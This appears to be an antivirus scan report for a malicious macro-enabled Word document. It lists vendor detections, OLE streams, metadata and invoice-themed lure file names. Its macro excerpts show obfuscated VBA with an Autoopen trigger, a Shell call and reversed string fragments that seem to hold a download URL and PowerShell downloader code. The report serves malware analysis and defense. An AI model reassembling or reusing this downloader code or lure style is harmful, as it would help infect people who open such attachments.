Antivirus scan for 91d6a575782c9957447fb520a693d45941a862a4abf23a1edb5b2637ab208cc3 at 2018-04-29 01:36:07 UTC

Antivirus	Result	Update
Ad-Aware	VB:Trojan.Valyria.1722	20180428
AegisLab	Mo97.Downloader.Qv!c	20180428
Arcabit	HEUR.VBA.Trojan.e	20180428
Avast	MO97:Downloader-QV [Trj]	20180428
AVG	MO97:Downloader-QV [Trj]	20180428
AVware	LooksLike.Macro.Malware.k (v)	20180428
BitDefender	VB:Trojan.Valyria.1722	20180428
ClamAV	Doc.Dropper.Agent-6520875-0	20180428
Emsisoft	VB:Trojan.Valyria.1722 (B)	20180428
ESET-NOD32	VBA/TrojanDownloader.Agent.HYN	20180428
F-Secure	VB:Trojan.Valyria.1722	20180428
GData	VB:Trojan.Valyria.1722	20180428
Ikarus	Trojan.VB.Valyria	20180428
Kaspersky	HEUR:Trojan.Script.Agent.gen	20180428
MAX	malware (ai score=94)	20180429
Microsoft	Trojan:Script/Cloxer.A!cl	20180428
eScan	VB:Trojan.Valyria.1722	20180428
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20180428
Qihoo-360	virus.office.qexvmc.1075	20180429
Rising	Trojan.Confusion!1.AD86 (CLASSIC)	20180428
Sophos AV	Troj/DocDl-NOR	20180428
Symantec	W97M.Downloader	20180428
TrendMicro	TROJ_FRS.VSN1CD18	20180428
TrendMicro-HouseCall	TROJ_FRS.VSN1CD18	20180428
VIPRE	LooksLike.Macro.Malware.k (v)	20180428
ZoneAlarm by Check Point	HEUR:Trojan.Script.Agent.gen	20180428
Zoner	Probably W97Obfuscated	20180428
AhnLab-V3		20180428
Alibaba		20180428
ALYac		20180428
Antiy-AVL		20180428
Avast-Mobile		20180428
Avira (no cloud)		20180428
Babable		20180406
Baidu		20180428
Bkav		20180426
CAT-QuickHeal		20180428
CMC		20180428
Comodo		20180428
CrowdStrike Falcon (ML)		20180418
Cybereason		None
Cylance		20180429
Cyren		20180428
DrWeb		20180428
eGambit		20180429
Endgame		20180402
F-Prot		20180428
Fortinet		20180428
Sophos ML		20180120
Jiangmin		20180428
K7AntiVirus		20180428
K7GW		20180428
Kingsoft		20180429
Malwarebytes		20180428
McAfee		20180428
McAfee-GW-Edition		20180425
nProtect		20180428
Palo Alto Networks (Known Signatures)		20180429
Panda		20180428
SentinelOne (Static ML)		20180225
SUPERAntiSpyware		20180428
Symantec Mobile Insight		20180424
Tencent		20180429
TheHacker		20180426
TotalDefense		20180428
Trustlook		20180429
VBA32		20180428
ViRobot		20180428
Webroot		20180429
Yandex		20180428
Zillya		20180427

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-04-27 20:44:00

author

Vitogynedaxi

title

Vitogynedaxi

page_count

last_saved

2018-04-27 20:44:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Vitogynedaxidu

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/HKaXrwPZBTn

[+] Macros/VBA/PwnujMaI

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/ubQSzajRj

[+] Macros/VBA/zmkWsDZTVEwALR

[+] WordDocument

Macros and VBA code streams

[+] PwnujMaI.cls Macros/VBA/PwnujMaI 3435 bytes

obfuscated

Sub jLcjGS(JTdHC)
Select Case QNmOh
         Case 70860
            iYADj = dhoVv
            zAkHjj = Round(84519)
            YaswB = Hex(jEMct - ChrW(DKvHK))
            DCooU = iZDAjG
         Case 5427
            pPwEfE = CByte(3972)
            TZUMc = Log(ipFcz)
End Select
End Sub
Sub cpjjF(OcGjYG)
Select Case KjnLr
         Case 53813
            WjjPU = VLuOv
            IrGAj = Round(29585)
            lpZQkB = Hex(mSmqd - ChrW(ArovF))
            OzYDh = nTwhDj
         Case 9029
            sqQwQw = CByte(27682)
            VDZEk = Log(DQDLuS)
End Select
Select Case BMmsY
         Case 93398
            OFODlh = JbrfH
            GcVic = Round(14561)
            Qiiso = Hex(vriiEr - ChrW(htQpV))
            CNupL = nPtZrH
         Case 30607
            qRjaV = CByte(29316)
            mdfwnn = Log(VNMfI)
End Select
Select Case EsVsT
         Case 24603
            XBSnW = aLPMpT
            UQkOs = Round(46180)
            itjNLz = Hex(MzvnH - ChrW(OblKs))
            zMtFA = MCpoI
         Case 14277
            vUSdV = CByte(10541)
            XhOOUZ = Log(KrsiZW)
End Select
End Sub
Sub Yjoof(zwQXon)
Select Case MowwQF
         Case 32269
            Rzfkb = BKzKjl
            WndopP = Round(55119)
            QrZjmV = Hex(vtOUF - ChrW(HiJDE))
            zlTMF = GqASJ
         Case 51611
            oaAGFD = CByte(78444)
            iPDvP = Log(POFTlk)
End Select
Select Case ipziU
         Case 58593
            fVdjni = qHcDz
            iSWQR = Round(80460)
            rbvwY = Hex(cJlCbl - ChrW(JnJmT))
            kOZGd = mVfLS
         Case 63721
            iIoDa = CByte(58360)
            zCHEE = Log(SZGuJ)
End Select
End Sub
Sub Autoopen()
On Error Resume Next
Select Case wJFHSU
         Case 35235
            lUwzTV = GRUkj
            IKiHU = Round(4232)
            zMOlCh = Hex(EZAWiH - ChrW(ZdFKli))
            MImKad = wWAzSp
         Case 72586
            FLvlk = CByte(19008)
            QwBbMi = Log(dwiTpk)
End Select
LYotNwwaALX (cbbE [... continues ...]

[+] HKaXrwPZBTn.bas Macros/VBA/HKaXrwPZBTn 10532 bytes

obfuscated

Sub RVsRc(nrQIp)
Select Case zvJEjW
         Case 57096
            ZoNtj = rsVwq
            UnmbE = Round(35481)
            TuKPzU = Hex(XwnKti - ChrW(PjcIwl))
            fvWRS = RMJiA
         Case 26387
            JdOZN = CByte(48180)
            mvEKFL = Log(FEJSGj)
End Select
End Sub
Function rTWESTwpdIFfRL()
On Error Resume Next
Select Case GBDPmU
         Case 7497
            vrpwsH = iVVVPl
            FzYdJb = Round(97153)
            jhUUAd = Hex(lUWJi - ChrW(CSFhm))
            pThMz = NvFrIL
         Case 54120
            TIHiXH = CByte(20289)
            jBzGGd = Log(fSwXJ)
End Select
HGszMPBlR = IjqfRI("liU'oc.'+'ria'+'dnilb//'+':ptth@/0Mj'+'v'+'e/ed.uagenno'+'w-mi-ei'+'medak'+'a'+'//:pvVWEi", 29791 - 29791 + 6 + 29791 - 29791, 29791 - 29791 + 81 + 29791 - 29791)
Select Case IBVWa
         Case 73616
            zuMLhC = uLbJfH
            jfMro = Round(70204)
            aZMnST = Hex(GlHzU - ChrW(dppnZE))
            JUrmsC = YWIfmB
         Case 80050
            VAYOi = CByte(73289)
            ZTMKik = Log(qZSjDj)
End Select
Select Case fYqjiF
         Case 57209
            EoosG = aPHttw
            crWLq = Round(84561)
            XwBPwN = Hex(aWLkCb - ChrW(KUjoh))
            nXESB = uDhUV
         Case 76481
            qCHmZ = CByte(91038)
            wAtvJq = Log(iRXpW)
End Select
tbXXEfM = IjqfRI("CqYljJ'EcALpeRc- 93]RAhC[,)211]RAhC[+05]RAhC[+15]RAhC[(ecALper-69]RAhC[,)021]RAhC[+501]RAhC[+96]RAhC[(  EcALpeRc-  )'}}'+'{hcta'+'c};k'+'aer'+'b;)CDStk'+'U()p23m'+'etI-ep2'+'3+p23'+'k'+'p23'+'si", 11429 - 11429 + 3 + 11429 - 11429, 11429 - 11429 + 188 + 11429 - 11429)
Select Case mzAsj
         Case 27200
            SctCqw = kRCiHt
            IniIJK = Round(89254)
            lJiwi = Hex(rCPDKQ - ChrW(UGqEMB))
            ROohdV = LWjZDk
         Case 12335
            jXsSOs = CByte(30343)
            fwcNnj = Log(EzIGuW)
End Select
Select Case UHvFO
         Case 62597
            PnZYS = YCOEH
            KmHBd = Round(86492)
           [... continues ...]

[+] ubQSzajRj.bas Macros/VBA/ubQSzajRj 30492 bytes

obfuscated run-file

Sub zDGSsiwoIzKhGj()
On Error Resume Next
Select Case MGtfhP
         Case 66862
            bzpGfp = YuraNh
            bzitp = Round(507)
            GNVkrn = Hex(nmwiO - ChrW(iSDbR))
            dYPqfT = siwAna
         Case 66362
            UmUWo = CByte(3883)
            lIsww = Log(pJuDc)
End Select
End Sub
Sub LYotNwwaALX(IcisGwsujtp As String)
On Error Resume Next
Select Case WIrWpR
         Case 95410
            prlLDj = JjiFd
            TmGzjU = Round(61901)
            VBzLk = Hex(tdPfE - ChrW(HVuXht))
            wjdLz = sDVkZF
         Case 94019
            sUpoA = CByte(35516)
            XjQDA = Log(pwsjQq)
End Select
Select Case jWspz
         Case 22205
            IYsqZH = PAFih
            zYzMIz = Round(24962)
            FdBJP = Hex(hVczoo - ChrW(Lwoads))
            aznAi = ELWfh
         Case 3780
            pDvqjJ = CByte(26125)
            tXFtsA = Log(ZLmfFz)
End Select
[Shell] HpAaApWzzS + Chr(vbKeyC) + IcisGwsujtp + plHDztTiVhZh + pORlKt, qNqdJd + 0 + qNqdJd
Select Case wzNvF
         Case 80748
            JXVta = GCPiWO
            LaduhH = Round(88214)
            lXloDQ = Hex(qXLwHn - ChrW(HAowu))
            mznOwA = WVSNzw
         Case 41392
            zjEWW = CByte(32745)
            rSXGF = Log(SdFjN)
End Select
End Sub
Function cbivNZfiLuUI()
On Error Resume Next
Select Case vCjYO
         Case 48819
            WErNhh = SNZwT
            XnhijB = Round(66219)
            bMsJU = Hex(qtMzlE - ChrW(sVwji))
            nhZRb = tfHUB
         Case 79705
            qavrw = CByte(7394)
            kfYAc = Log(PifSi)
End Select
HGszMPBlR = IjqfRI("liUAawwNtoYL%!!%BwvvVWEi", 40389 - 40389 + 6 + 40389 - 40389, 40389 - 40389 + 16 + 40389 - 40389)
Select Case AwuaBv
         Case 32922
            aSjZLH = NiwdA
            VUIJYo = Round(29359)
            KApmC = Hex(QwAuvh - ChrW(lSvzp))
            nCAio = RfblRc
         Case 12820
            aPRum = CByte(16143)
            IQiCh = Log(MjCMJ)
End Select
Select Case IdJqLf
   [... continues ...]

[+] zmkWsDZTVEwALR.bas Macros/VBA/zmkWsDZTVEwALR 9210 bytes

obfuscated

Function nzoiktia()
On Error Resume Next
Select Case qKcKGC
         Case 74237
            LnlwR = DGnafS
            zIawFj = Round(44680)
            Ehplm = Hex(fcGnEt - ChrW(QzhGj))
            WWmHs = zrCCN
         Case 1624
            PtHGw = CByte(21148)
            KXijma = Log(SiItq)
End Select
UVwbRJ = IjqfRI("kJhY bAii", 13635 - 13635 + 5 + 13635 - 13635, 13635 - 13635 + 2 + 13635 - 13635)
Select Case JBsRa
         Case 93741
            pudZt = ldaJtk
            EPwrGU = Round(34865)
            iItJXi = Hex(OBpjz - ChrW(qPtEnz))
            wrZPIu = uCALF
         Case 58882
            KmjQVH = CByte(54273)
            ZTMlH = Log(zEnTU)
End Select
Select Case Zzzds
         Case 35222
            GlVYC = qIkiC
            flDkso = Round(74024)
            vwmZz = Hex(cbiQib - ChrW(JXDow))
            Yvhik = zZlVN
         Case 12953
            GQVJzv = CByte(51735)
            lPiTw = Log(SWNAww)
End Select
LOBcpfOPZbi = IjqfRI("cctVzZP jPAvPMlstCbj@UA", 56191 - 56191 + 5 + 56191 - 56191, 56191 - 56191 + 17 + 56191 - 56191)
Select Case NFOOBT
         Case 99597
            qFRKt = tnODs
            AnjCO = Round(78556)
            fCYVRK = Hex(sKHvw - ChrW(buvJNJ))
            EYizw = bbaZM
         Case 98355
            nUOSk = CByte(165)
            jcifS = Log(PuGrX)
End Select
Select Case jNarZR
         Case 87366
            LWNtu = DvwJM
            dCcNQj = Round(52030)
            MTJwu = Hex(dkBDqh - ChrW(wfMMH))
            NjcEB = uHhlN
         Case 53481
            qfFrMQ = CByte(98512)
            rStuT = Log(biXPBI)
End Select
oCYzCF = IjqfRI("RwG         TSfz", 79075 - 79075 + 5 + 79075 - 79075, 79075 - 79075 + 9 + 79075 - 79075)
Select Case NhjOI
         Case 61737
            iwwocw = qtnzvI
            VOiKh = Round(72194)
            cJWMT = Hex(dwVcEk - ChrW(VvTFSW))
            lljQFA = rSAEau
         Case 63283
            mccIN = CByte(25443)
            XKvLJv = Log(udrLwh)
End Select
Select Case DXAQzT
         C [... continues ...]

ExifTool file metadata

File identification

MD5 261c2ae10e5b71c07f9d47b3d96f1891

SHA1 8ffbe28851880c331166dd19033483c34200f89f

SHA256 91d6a575782c9957447fb520a693d45941a862a4abf23a1edb5b2637ab208cc3

ssdeep

3072:g7EdFNUzxo02CX0fbeQymrugs6H1wpJMgva:BdFNUdo0J0Emrugs6H1wpJe

File size 176.0 KB ( 180224 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Vitogynedaxi, Subject: Vitogynedaxidu, Author: Vitogynedaxi, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Apr 26 19:44:00 2018, Last Saved Time/Date: Thu Apr 26 19:44:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-04-27 20:02:19 UTC ( 9 months, 4 weeks ago )

Last submission 2018-07-22 04:39:41 UTC ( 7 months ago )

File names

Outstanding Invoices.doc
Invoice 85207656 April.doc
58.doc
6c89f7d5783d9987f42c5fea73344763fb9b137d
Inv 285427 - PO #2B545222.doc
4 Past Due Invoices.doc
Invoice 66640066 April.doc
Question.doc
output.113231070.txt
Invoice for you.doc
Invoice 4276492 April.doc
Paid Invoices.doc
Fwd: ACH form.doc
Invoice Number 43750.doc
ACH form.doc
Invoice #5104635.doc
output.113274581.txt
Invoice.doc
Invoice Number 210666.doc
Invoice 31491077 April.doc
New order.doc
Service Report (1039).doc
Need to send the attachment.doc
Past Due Invoices.doc
Invoice 41146496 April.doc

SHA256:	91d6a575782c9957447fb520a693d45941a862a4abf23a1edb5b2637ab208cc3
File name:	6c89f7d5783d9987f42c5fea73344763fb9b137d
Detection ratio:	27 / 60
Analysis date:	2018-04-29 01:36:07 UTC ( 9 months, 4 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in